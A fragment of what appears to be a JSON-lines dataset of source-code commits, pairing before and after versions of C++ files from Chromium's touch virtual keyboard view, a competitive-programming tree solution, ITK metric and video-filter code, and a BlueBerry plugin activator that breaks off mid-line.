}\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TouchBrowserFrameView, private:\n\nvoid TouchBrowserFrameView::InitVirtualKeyboard() {\n if (keyboard_)\n return;\n\n Profile* keyboard_profile = browser_view()->browser()->profile();\n DCHECK(keyboard_profile) << \"Profile required for virtual keyboard.\";\n\n keyboard_ = new KeyboardContainerView(keyboard_profile,\n browser_view()->browser());\n keyboard_->SetVisible(false);\n AddChildView(keyboard_);\n}\n\nvoid TouchBrowserFrameView::UpdateKeyboardAndLayout(bool should_show_keyboard) {\n if (should_show_keyboard)\n InitVirtualKeyboard();\n\n if (should_show_keyboard == keyboard_showing_)\n return;\n\n DCHECK(keyboard_);\n\n keyboard_showing_ = should_show_keyboard;\n if (keyboard_showing_) {\n animation_->Show();\n\n \/\/ We don't re-layout the client view until the animation ends (see\n \/\/ AnimationEnded below) because we want the client view to occupy the\n \/\/ entire height during the animation.\n Layout();\n } else {\n animation_->Hide();\n\n browser_view()->set_clip_y(ui::Tween::ValueBetween(\n animation_->GetCurrentValue(), 0, kKeyboardHeight));\n parent()->Layout();\n }\n}\n\nTouchBrowserFrameView::VirtualKeyboardType\n TouchBrowserFrameView::DecideKeyboardStateForView(views::View* view) {\n if (!view)\n return NONE;\n\n std::string cname = view->GetClassName();\n if (cname == views::Textfield::kViewClassName) {\n return GENERIC;\n } else if (cname == RenderWidgetHostViewViews::kViewClassName) {\n TabContents* contents = browser_view()->browser()->GetSelectedTabContents();\n bool* editable = contents ? GetFocusedStateAccessor()->GetProperty(\n contents->property_bag()) : NULL;\n if (editable && *editable)\n return GENERIC;\n }\n return NONE;\n}\n\nbool TouchBrowserFrameView::HitTest(const gfx::Point& point) const {\n if (OpaqueBrowserFrameView::HitTest(point))\n return true;\n\n if (close_button()->IsVisible() &&\n close_button()->GetMirroredBounds().Contains(point))\n return true;\n if (restore_button()->IsVisible() &&\n restore_button()->GetMirroredBounds().Contains(point))\n return true;\n if (maximize_button()->IsVisible() &&\n maximize_button()->GetMirroredBounds().Contains(point))\n return true;\n if (minimize_button()->IsVisible() &&\n minimize_button()->GetMirroredBounds().Contains(point))\n return true;\n\n return false;\n}\n\nvoid TouchBrowserFrameView::TabSelectedAt(TabContentsWrapper* old_contents,\n TabContentsWrapper* new_contents,\n int index,\n bool user_gesture) {\n if (new_contents == old_contents)\n return;\n\n TabContents* contents = new_contents->tab_contents();\n if (!TabContentsHasFocus(contents))\n return;\n\n bool* editable = GetFocusedStateAccessor()->GetProperty(\n contents->property_bag());\n UpdateKeyboardAndLayout(editable ? *editable : false);\n}\n\n\nvoid TouchBrowserFrameView::Observe(NotificationType type,\n const NotificationSource& source,\n const NotificationDetails& details) {\n Browser* browser = browser_view()->browser();\n if (type == NotificationType::FOCUS_CHANGED_IN_PAGE) {\n \/\/ Only modify the keyboard state if the currently active tab sent the\n \/\/ notification.\n const TabContents* current_tab = browser->GetSelectedTabContents();\n TabContents* source_tab = Source<TabContents>(source).ptr();\n const bool editable = *Details<const bool>(details).ptr();\n\n if (current_tab == source_tab && TabContentsHasFocus(source_tab))\n UpdateKeyboardAndLayout(editable);\n\n \/\/ Save the state of the focused field so that the keyboard visibility\n \/\/ can be determined after tab switching.\n GetFocusedStateAccessor()->SetProperty(\n source_tab->property_bag(), editable);\n } else if (type == NotificationType::NAV_ENTRY_COMMITTED) {\n NavigationController* controller =\n Source<NavigationController>(source).ptr();\n Browser* source_browser = Browser::GetBrowserForController(\n controller, NULL);\n\n \/\/ If the Browser for the keyboard has navigated, re-evaluate the visibility\n \/\/ of the keyboard.\n TouchBrowserFrameView::VirtualKeyboardType keyboard_type = NONE;\n views::View* view = GetFocusManager()->GetFocusedView();\n if (view) {\n if (view->GetClassName() == views::Textfield::kViewClassName)\n keyboard_type = GENERIC;\n if (view->GetClassName() == RenderWidgetHostViewViews::kViewClassName) {\n \/\/ Reset the state of the focused field in the current tab.\n GetFocusedStateAccessor()->SetProperty(\n controller->tab_contents()->property_bag(), false);\n }\n }\n if (source_browser == browser)\n UpdateKeyboardAndLayout(keyboard_type == GENERIC);\n } else if (type == NotificationType::TAB_CONTENTS_DESTROYED) {\n GetFocusedStateAccessor()->DeleteProperty(\n Source<TabContents>(source).ptr()->property_bag());\n } else if (type == NotificationType::PREF_CHANGED) {\n OpaqueBrowserFrameView::Observe(type, source, details);\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ ui::AnimationDelegate implementation\nvoid TouchBrowserFrameView::AnimationProgressed(const ui::Animation* anim) {\n ui::Transform transform;\n transform.SetTranslateY(\n ui::Tween::ValueBetween(anim->GetCurrentValue(), kKeyboardHeight, 0));\n keyboard_->SetTransform(transform);\n browser_view()->set_clip_y(\n ui::Tween::ValueBetween(anim->GetCurrentValue(), 0, kKeyboardHeight));\n SchedulePaint();\n}\n\nvoid TouchBrowserFrameView::AnimationEnded(const ui::Animation* animation) {\n browser_view()->set_clip_y(0);\n if (keyboard_showing_) {\n \/\/ Because the NonClientFrameView is a sibling of the ClientView, we rely on\n \/\/ the parent to resize the ClientView instead of resizing it directly.\n parent()->Layout();\n\n \/\/ The keyboard that pops up may end up hiding the text entry. So make sure\n \/\/ the renderer scrolls when necessary to keep the textfield visible.\n RenderViewHost* host =\n browser_view()->browser()->GetSelectedTabContents()->render_view_host();\n host->Send(new ViewMsg_ScrollFocusedEditableNodeIntoView(\n host->routing_id()));\n }\n SchedulePaint();\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * File : F.cpp\n * Author : Kazune Takahashi\n * Created : 11\/25\/2018, 12:58:28 PM\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <functional>\n#include <random> \/\/ auto rd = bind(uniform_int_distribution<int>(0, 9), mt19937(19920725));\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nint N, M, K;\nint P[310];\nint root = 0;\nvector<int> children[310];\nint cnt_c[310];\nint cnt_sum[310];\nint S[310];\nvector<int> T[310];\nbool used[310];\nbool ok = true;\nvector<int> ans;\nint mini = 0;\n\nint calc_S(int v)\n{\n if (S[v] != -1)\n {\n return S[v];\n }\n if (v == root)\n {\n return S[v] = 1;\n }\n return S[v] = calc_S(P[v]) + 1;\n}\n\nvoid flush()\n{\n if (ok)\n {\n assert((int)ans.size() == M);\n for (auto i = 0; i < M; i++)\n {\n cout << ans[i] + 1;\n if (i < M - 1)\n {\n cout << \" \";\n }\n }\n }\n else\n {\n cout << -1 << endl;\n }\n}\n\nint calc_c(int v)\n{\n cnt_c[v] = 0;\n for (auto x : children[v])\n {\n cnt_c[v] += calc_c(x);\n }\n return cnt_c[v] + 1;\n}\n\nint calc_sum(int v)\n{\n cnt_sum[v] = 0;\n for (auto x : children[v])\n {\n cnt_sum[v] += calc_sum(x);\n }\n return cnt_sum[v];\n}\n\nint calc_mini(int remain)\n{\n mini = 0;\n for (auto i = 0; i < 310; i++)\n {\n if (remain <= 0)\n {\n break;\n }\n int x = min((int)T[i].size(), remain);\n mini += i * x;\n remain -= x;\n }\n return mini;\n}\n\nvoid init()\n{\n fill(S, S + N, -1);\n for (auto i = 0; i < 310; i++)\n {\n T[i].clear();\n }\n for (auto i = 0; i < N; i++)\n {\n T[calc_S(i)].push_back(i);\n }\n calc_c(root);\n calc_sum(root);\n calc_mini(M - (int)ans.size());\n}\n\nvoid make_used(int v)\n{\n used[v] = true;\n for (auto x : children[v])\n {\n make_used(x);\n }\n}\n\nbool erasable(int v)\n{\n int cost = S[v];\n if (P[v] == -1)\n {\n if (K == 1 && (int)ans.size() == M - 1)\n {\n ans.push_back(v);\n return true;\n }\n return false;\n }\n ans.push_back(v);\n auto it = children[P[v]].begin();\n while (it != children[P[v]].end())\n {\n if (*it == v)\n {\n children[P[v]].erase(it);\n break;\n }\n }\n init();\n if ((int)ans.size() == M - 1)\n {\n if (cost == K)\n {\n return true;\n }\n }\n else if (cnt_c[root] >= M - (int)ans.size() - 1 && mini <= K - cost && K - cost <= cnt_sum[root])\n {\n K -= cost;\n make_used(v);\n return true;\n }\n children[P[v]].push_back(v);\n it = ans.end();\n it--;\n ans.erase(it);\n return false;\n}\n\nint main()\n{\n cin >> N >> M >> K;\n for (auto i = 0; i < N; i++)\n {\n cin >> P[i];\n P[i]--;\n }\n for (auto i = 0; i < N; i++)\n {\n if (P[i] == -1)\n {\n root = i;\n }\n else\n {\n children[P[i]].push_back(i);\n }\n }\n init();\n fill(used, used + N, false);\n for (auto i = 0; i < M; i++)\n {\n bool valid = false;\n for (auto j = 0; j < N; j++)\n {\n if (used[j])\n {\n continue;\n }\n if (erasable(j))\n {\n cerr << \"erase: \" << j << endl;\n valid = true;\n break;\n }\n }\n if (!valid)\n {\n ok = false;\n break;\n }\n }\n flush();\n}<commit_msg>tried F.cpp to 'F'<commit_after>\/**\n * File : F.cpp\n * Author : Kazune Takahashi\n * Created : 11\/25\/2018, 12:58:28 PM\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <functional>\n#include <random> \/\/ auto rd = bind(uniform_int_distribution<int>(0, 9), mt19937(19920725));\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nint N, M, K;\nint P[310];\nint root = 0;\nvector<int> children[310];\nint cnt_c[310];\nint cnt_sum[310];\nint S[310];\nvector<int> T[310];\nbool used[310];\nbool ok = true;\nvector<int> ans;\nint mini = 0;\n\nint calc_S(int v)\n{\n if (S[v] != -1)\n {\n return S[v];\n }\n if (v == root)\n {\n return S[v] = 1;\n }\n return S[v] = calc_S(P[v]) + 1;\n}\n\nvoid flush()\n{\n if (ok)\n {\n assert((int)ans.size() == M);\n for (auto i = 0; i < M; i++)\n {\n cout << ans[i] + 1;\n if (i < M - 1)\n {\n cout << \" \";\n }\n }\n }\n else\n {\n cout << -1 << endl;\n }\n}\n\nint calc_c(int v)\n{\n cnt_c[v] = 0;\n for (auto x : children[v])\n {\n cnt_c[v] += calc_c(x);\n }\n return cnt_c[v] + 1;\n}\n\nint calc_sum(int v)\n{\n cnt_sum[v] = 0;\n for (auto x : children[v])\n {\n cnt_sum[v] += calc_sum(x);\n }\n return cnt_sum[v];\n}\n\nint calc_mini(int remain)\n{\n mini = 0;\n for (auto i = 0; i < 310; i++)\n {\n if (remain <= 0)\n {\n break;\n }\n int x = min((int)T[i].size(), remain);\n mini += i * x;\n remain -= x;\n }\n return mini;\n}\n\nvoid init()\n{\n fill(S, S + N, -1);\n for (auto i = 0; i < 310; i++)\n {\n T[i].clear();\n }\n for (auto i = 0; i < N; i++)\n {\n T[calc_S(i)].push_back(i);\n }\n calc_c(root);\n calc_sum(root);\n calc_mini(M - (int)ans.size());\n cerr << \"cnt_c[\" << root << \"] = \" << cnt_c[root] << endl;\n cerr << \"cnt_sum[\" << root << \"] = \" << cnt_sum[root] << endl;\n cerr << \"mini = \" << mini << endl;\n}\n\nvoid make_used(int v)\n{\n used[v] = true;\n for (auto x : children[v])\n {\n make_used(x);\n }\n}\n\nbool erasable(int v)\n{\n int cost = S[v];\n if (P[v] == -1)\n {\n if (K == 1 && (int)ans.size() == M - 1)\n {\n ans.push_back(v);\n return true;\n }\n return false;\n }\n ans.push_back(v);\n auto it = children[P[v]].begin();\n while (it != children[P[v]].end())\n {\n if (*it == v)\n {\n children[P[v]].erase(it);\n break;\n }\n }\n init();\n if ((int)ans.size() == M - 1)\n {\n if (cost == K)\n {\n return true;\n }\n }\n else if (cnt_c[root] >= M - (int)ans.size() - 1 && mini <= K - cost && K - cost <= cnt_sum[root])\n {\n K -= cost;\n make_used(v);\n return true;\n }\n children[P[v]].push_back(v);\n it = ans.end();\n it--;\n ans.erase(it);\n return false;\n}\n\nint main()\n{\n cin >> N >> M >> K;\n for (auto i = 0; i < N; i++)\n {\n cin >> P[i];\n P[i]--;\n }\n for (auto i = 0; i < N; i++)\n {\n if (P[i] == -1)\n {\n root = i;\n }\n else\n {\n children[P[i]].push_back(i);\n }\n }\n init();\n fill(used, used + N, false);\n for (auto i = 0; i < M; i++)\n {\n bool valid = false;\n for (auto j = 0; j < N; j++)\n {\n if (used[j])\n {\n continue;\n }\n if (erasable(j))\n {\n cerr << \"erase: \" << j << endl;\n valid = true;\n break;\n }\n }\n if (!valid)\n {\n ok = false;\n break;\n }\n }\n flush();\n}<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n *\n * Copyright Insight Software Consortium\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n#include \"itkObjectToObjectMetric.h\"\n\nnamespace itk\n{\n\n\/\/-------------------------------------------------------------------\nObjectToObjectMetric\n::ObjectToObjectMetric()\n{\n \/\/ Don't call SetGradientSource, to avoid valgrind warning.\n this->m_GradientSource = this->GRADIENT_SOURCE_MOVING;\n}\n\n\/\/-------------------------------------------------------------------\nObjectToObjectMetric\n::~ObjectToObjectMetric()\n{}\n\n\/\/-------------------------------------------------------------------\nbool\nObjectToObjectMetric\n::GetGradientSourceIncludesFixed() const\n{\n return m_GradientSource == GRADIENT_SOURCE_FIXED ||\n m_GradientSource == GRADIENT_SOURCE_BOTH;\n}\n\n\/\/-------------------------------------------------------------------\nbool\nObjectToObjectMetric\n::GetGradientSourceIncludesMoving() const\n{\n return m_GradientSource == GRADIENT_SOURCE_MOVING ||\n m_GradientSource == GRADIENT_SOURCE_BOTH;\n}\n\n\/\/-------------------------------------------------------------------\nvoid\nObjectToObjectMetric\n::PrintSelf(std::ostream & os, Indent indent) const\n{\n Superclass::PrintSelf(os, indent);\n os << indent << \"TODO...\";\n}\n\n}\/\/namespace itk\n<commit_msg>ENH: Populate ObjectToObjectMetric PrintSelf ITK-2634<commit_after>\/*=========================================================================\n *\n * Copyright Insight Software Consortium\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n#include \"itkObjectToObjectMetric.h\"\n\nnamespace itk\n{\n\n\/\/-------------------------------------------------------------------\nObjectToObjectMetric\n::ObjectToObjectMetric()\n{\n \/\/ Don't call SetGradientSource, to avoid valgrind warning.\n this->m_GradientSource = this->GRADIENT_SOURCE_MOVING;\n}\n\n\/\/-------------------------------------------------------------------\nObjectToObjectMetric\n::~ObjectToObjectMetric()\n{}\n\n\/\/-------------------------------------------------------------------\nbool\nObjectToObjectMetric\n::GetGradientSourceIncludesFixed() const\n{\n return m_GradientSource == GRADIENT_SOURCE_FIXED ||\n m_GradientSource == GRADIENT_SOURCE_BOTH;\n}\n\n\/\/-------------------------------------------------------------------\nbool\nObjectToObjectMetric\n::GetGradientSourceIncludesMoving() const\n{\n return m_GradientSource == GRADIENT_SOURCE_MOVING ||\n m_GradientSource == GRADIENT_SOURCE_BOTH;\n}\n\n\/\/-------------------------------------------------------------------\nvoid\nObjectToObjectMetric\n::PrintSelf(std::ostream & os, Indent indent) const\n{\n Superclass::PrintSelf(os, indent);\n os << indent << \"GradientSourceType: \";\n switch( m_GradientSource )\n {\n case GRADIENT_SOURCE_FIXED:\n os << \"GRADIENT_SOURCE_FIXED\";\n break;\n case GRADIENT_SOURCE_MOVING:\n os << \"GRADIENT_SOURCE_MOVING\";\n break;\n case GRADIENT_SOURCE_BOTH:\n os << \"GRADIENT_SOURCE_BOTH\";\n break;\n default:\n itkExceptionMacro(<< \"Unknown GradientSource.\");\n }\n os << std::endl;\n}\n\n}\/\/namespace itk\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n *\n * Copyright Insight Software Consortium\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#include <iostream>\n#include \"itkImageFilterToVideoFilterWrapper.h\"\n#include \"itkImage.h\"\n#include \"itkRecursiveGaussianImageFilter.h\"\n#include \"itkVideoFileReader.h\"\n#include \"itkVideoFileWriter.h\"\n#include \"itkFileListVideoIOFactory.h\"\n\n\/**\n * Main test\n *\/\nint itkImageFilterToVideoFilterWrapperTest( int argc, char* argv[] )\n{\n \/\/ Check parameters\n if (argc < 3)\n {\n std::cerr << \"Usage: \" << argv[0] << \" input_video output_video\" << std::endl;\n return EXIT_FAILURE;\n }\n\n \/\/ Typedefs\n typedef unsigned char PixelType;\n typedef itk::Image<PixelType, 2> FrameType;\n typedef itk::VideoStream< FrameType > VideoType;\n typedef itk::RecursiveGaussianImageFilter< FrameType, FrameType > GaussianImageFilterType;\n typedef itk::ImageFilterToVideoFilterWrapper< GaussianImageFilterType >\n GaussianVideoFilterType;\n typedef itk::VideoFileReader< VideoType > VideoReaderType;\n typedef itk::VideoFileWriter< VideoType > VideoWriterType;\n\n \/\/ Register FileListIO with the factory -- shouldn't have to do this. Needs fixing\n itk::ObjectFactoryBase::RegisterFactory( itk::FileListVideoIOFactory::New() );\n\n \/\/ Set up reader and writer\n VideoReaderType::Pointer reader = VideoReaderType::New();\n VideoWriterType::Pointer writer = VideoWriterType::New();\n reader->SetFileName(argv[1]);\n writer->SetFileName(argv[2]);\n\n \/\/ Instantiate a new video filter and an image filter\n GaussianImageFilterType::Pointer imgGauss = GaussianImageFilterType::New();\n GaussianVideoFilterType::Pointer vidGauss = GaussianVideoFilterType::New();\n\n \/\/ Set the parameters on the image filter and plug it into the video filter\n imgGauss->SetSigma(3);\n vidGauss->SetImageFilter(imgGauss);\n\n \/\/ String the pipeline together\n vidGauss->SetInput(reader->GetOutput());\n writer->SetInput(vidGauss->GetOutput());\n\n \/\/ Run the pipeline\n writer->Update();\n\n \/\/\/\/\/\/\n \/\/ Return successfully\n \/\/\/\/\/\/\n return EXIT_SUCCESS;\n}\n<commit_msg>ENH: Test output frames<commit_after>\/*=========================================================================\n *\n * Copyright Insight Software Consortium\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#include <iostream>\n#include \"itkImageFilterToVideoFilterWrapper.h\"\n#include \"itkImage.h\"\n#include \"itkRecursiveGaussianImageFilter.h\"\n#include \"itkVideoFileReader.h\"\n#include \"itkVideoFileWriter.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkFileListVideoIO.h\"\n#include \"itkFileListVideoIOFactory.h\"\n#include \"itkDifferenceImageFilter.h\"\n\n\/**\n * Main test\n *\/\nint itkImageFilterToVideoFilterWrapperTest( int argc, char* argv[] )\n{\n \/\/ Check parameters\n if (argc < 3)\n {\n std::cerr << \"Usage: \" << argv[0] << \" input_video output_video\" << std::endl;\n return EXIT_FAILURE;\n }\n\n \/\/ Get the lists of input and output files\n std::vector<std::string> inputFiles = itk::FileListVideoIO::SplitFileNames(argv[1]);\n std::vector<std::string> outputFiles = itk::FileListVideoIO::SplitFileNames(argv[2]);\n if (inputFiles.size() != outputFiles.size())\n {\n std::cerr << \"Must specify the same number of input and output frames\" << std::endl;\n return EXIT_FAILURE;\n }\n\n \/\/ Typedefs\n typedef unsigned char PixelType;\n typedef itk::Image<PixelType, 2> FrameType;\n typedef itk::VideoStream< FrameType > VideoType;\n typedef itk::RecursiveGaussianImageFilter< FrameType, FrameType > GaussianImageFilterType;\n typedef itk::ImageFilterToVideoFilterWrapper< GaussianImageFilterType >\n GaussianVideoFilterType;\n typedef itk::VideoFileReader< VideoType > VideoReaderType;\n typedef itk::VideoFileWriter< VideoType > VideoWriterType;\n\n \/\/ Register FileListIO with the factory -- shouldn't have to do this. Needs fixing\n itk::ObjectFactoryBase::RegisterFactory( itk::FileListVideoIOFactory::New() );\n\n \/\/ Set up reader and writer\n VideoReaderType::Pointer reader = VideoReaderType::New();\n VideoWriterType::Pointer writer = VideoWriterType::New();\n reader->SetFileName(argv[1]);\n writer->SetFileName(argv[2]);\n\n \/\/ Instantiate a new video filter and an image filter\n GaussianImageFilterType::Pointer imgGauss = GaussianImageFilterType::New();\n GaussianVideoFilterType::Pointer vidGauss = GaussianVideoFilterType::New();\n\n \/\/ Set the parameters on the image filter and plug it into the video filter\n imgGauss->SetSigma(3);\n vidGauss->SetImageFilter(imgGauss);\n\n \/\/ String the pipeline together\n vidGauss->SetInput(reader->GetOutput());\n writer->SetInput(vidGauss->GetOutput());\n\n \/\/ Run the pipeline\n writer->Update();\n\n \/\/\n \/\/ Check output\n \/\/\n typedef itk::ImageFileReader< FrameType > ImageReaderType;\n typedef itk::DifferenceImageFilter< FrameType, FrameType > DifferenceFilterType;\n ImageReaderType::Pointer imReader1 = ImageReaderType::New();\n ImageReaderType::Pointer imReader2 = ImageReaderType::New();\n DifferenceFilterType::Pointer differ = DifferenceFilterType::New();\n\n imgGauss->SetInput(imReader1->GetOutput());\n differ->SetValidInput(imgGauss->GetOutput());\n differ->SetTestInput(imReader2->GetOutput());\n\n for (unsigned int i = 0; i < inputFiles.size(); ++i)\n {\n imReader1->SetFileName(inputFiles[i]);\n imReader2->SetFileName(outputFiles[i]);\n differ->Update();\n if (differ->GetTotalDifference() != 0)\n {\n std::cerr << \"Frame \" << i << \" didn't produce the correct output. Difference = \"\n << differ->GetTotalDifference() << std::endl;\n return EXIT_FAILURE;\n }\n }\n\n \/\/\/\/\/\/\n \/\/ Return successfully\n \/\/\/\/\/\/\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*===================================================================\n\nBlueBerry Platform\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#ifndef NOMINMAX\n#define NOMINMAX\n#endif\n\n#include \"berryCTKPluginActivator.h\"\n\n#include <berryIApplication.h>\n#include <berryIConfigurationElement.h>\n#include <berryIContributor.h>\n\n#include \"berryApplicationContainer.h\"\n#include \"berryPlatform.h\"\n#include \"berryInternalPlatform.h\"\n#include \"berryErrorApplication.h\"\n#include \"berryPreferencesService.h\"\n#include \"berryExtensionRegistry.h\"\n#include \"berryRegistryConstants.h\"\n#include \"berryRegistryProperties.h\"\n#include \"berryRegistryStrategy.h\"\n#include \"berryRegistryContributor.h\"\n\n#include <QCoreApplication>\n#include <QDebug>\n\nnamespace berry {\n\nstatic const QString XP_APPLICATIONS = \"org.blueberry.osgi.applications\";\n\nctkPluginContext* org_blueberry_core_runtime_Activator::context = nullptr;\nQScopedPointer<ApplicationContainer> org_blueberry_core_runtime_Activator::appContainer;\n\nconst bool org_blueberry_core_runtime_Activator::DEBUG = false;\n\nvoid org_blueberry_core_runtime_Activator::start(ctkPluginContext* context)\n{\n this->context = context;\n\n BERRY_REGISTER_EXTENSION_CLASS(ErrorApplication, context)\n\n RegistryProperties::SetContext(context);\n \/\/ProcessCommandLine();\n this->startRegistry();\n\n preferencesService.reset(new PreferencesService(context->getDataFile(\"\").absolutePath()));\n prefServiceReg = context->registerService<IPreferencesService>(preferencesService.data());\n\n\/\/ \/\/ register a listener to catch new plugin installations\/resolutions.\n\/\/ pluginListener.reset(new CTKPluginListener(m_ExtensionPointService));\n\/\/ context->connectPluginListener(pluginListener.data(), SLOT(pluginChanged(ctkPluginEvent)), Qt::DirectConnection);\n\n\/\/ \/\/ populate the registry with all the currently installed plugins.\n\/\/ \/\/ There is a small window here while processPlugins is being\n\/\/ \/\/ called where the pluginListener may receive a ctkPluginEvent\n\/\/ \/\/ to add\/remove a plugin from the registry. This is ok since\n\/\/ \/\/ the registry is a synchronized object and will not add the\n\/\/ \/\/ same bundle twice.\n\/\/ pluginListener->processPlugins(context->getPlugins());\n\n this->startAppContainer();\n\n InternalPlatform::GetInstance()->Start(context);\n\n}\n\nvoid org_blueberry_core_runtime_Activator::stop(ctkPluginContext* context)\n{\n InternalPlatform::GetInstance()->Stop(context);\n\n \/\/pluginListener.reset();\n\n \/\/Platform::GetServiceRegistry().UnRegisterService(IExtensionPointService::SERVICE_ID);\n\n prefServiceReg.unregister();\n preferencesService->ShutDown();\n preferencesService.reset();\n prefServiceReg = 0;\n\n this->stopRegistry();\n RegistryProperties::SetContext(nullptr);\n\n stopAppContainer();\n\n this->context = nullptr;\n}\n\nctkPluginContext* org_blueberry_core_runtime_Activator::getPluginContext()\n{\n return context;\n}\n\nApplicationContainer* org_blueberry_core_runtime_Activator::GetContainer()\n{\n return appContainer.data();\n}\n\n#if defined(Q_OS_LINUX) || defined(Q_OS_DARWIN) || defined(Q_CC_MINGW)\n\n#include <dlfcn.h>\nQString org_blueberry_core_runtime_Activator::getPluginId(void *symbol)\n{\n if (symbol == nullptr) return QString();\n\n Dl_info info = {nullptr,nullptr,nullptr,nullptr};\n if(dladdr(symbol, &info) == 0)\n {\n return QString();\n }\n else if(info.dli_fname)\n {\n QFile soPath(info.dli_fname);\n int index = soPath.fileName().lastIndexOf('.');\n QString pluginId = soPath.fileName().left(index);\n if (pluginId.startsWith(\"lib\"))\n pluginId = pluginId.mid(3);\n return pluginId.replace('_', '.');\n }\n return QString();\n}\n\n#elif defined(Q_CC_MSVC)\n\n#include <ctkBackTrace.h>\n#include <windows.h>\n#include <dbghelp.h>\nQString org_blueberry_core_runtime_Activator::getPluginId(void *symbol)\n{\n if (symbol == nullptr) return QString();\n\n if (ctk::DebugSymInitialize())\n {\n std::vector<char> moduleBuffer(sizeof(IMAGEHLP_MODULE64));\n PIMAGEHLP_MODULE64 pModuleInfo = (PIMAGEHLP_MODULE64)&moduleBuffer.front();\n pModuleInfo->SizeOfStruct = sizeof(IMAGEHLP_MODULE64);\n if (SymGetModuleInfo64(GetCurrentProcess(), (DWORD64)symbol, pModuleInfo))\n {\n QString pluginId = pModuleInfo->ModuleName;\n return pluginId.replace('_', '.');\n }\n }\n return QString();\n}\n\n#endif\n\nQSharedPointer<ctkPlugin> org_blueberry_core_runtime_Activator::GetPlugin(const SmartPointer<IContributor>& contributor)\n{\n if (RegistryContributor::Pointer regContributor = contributor.Cast<RegistryContributor>())\n {\n bool okay = false;\n long id = 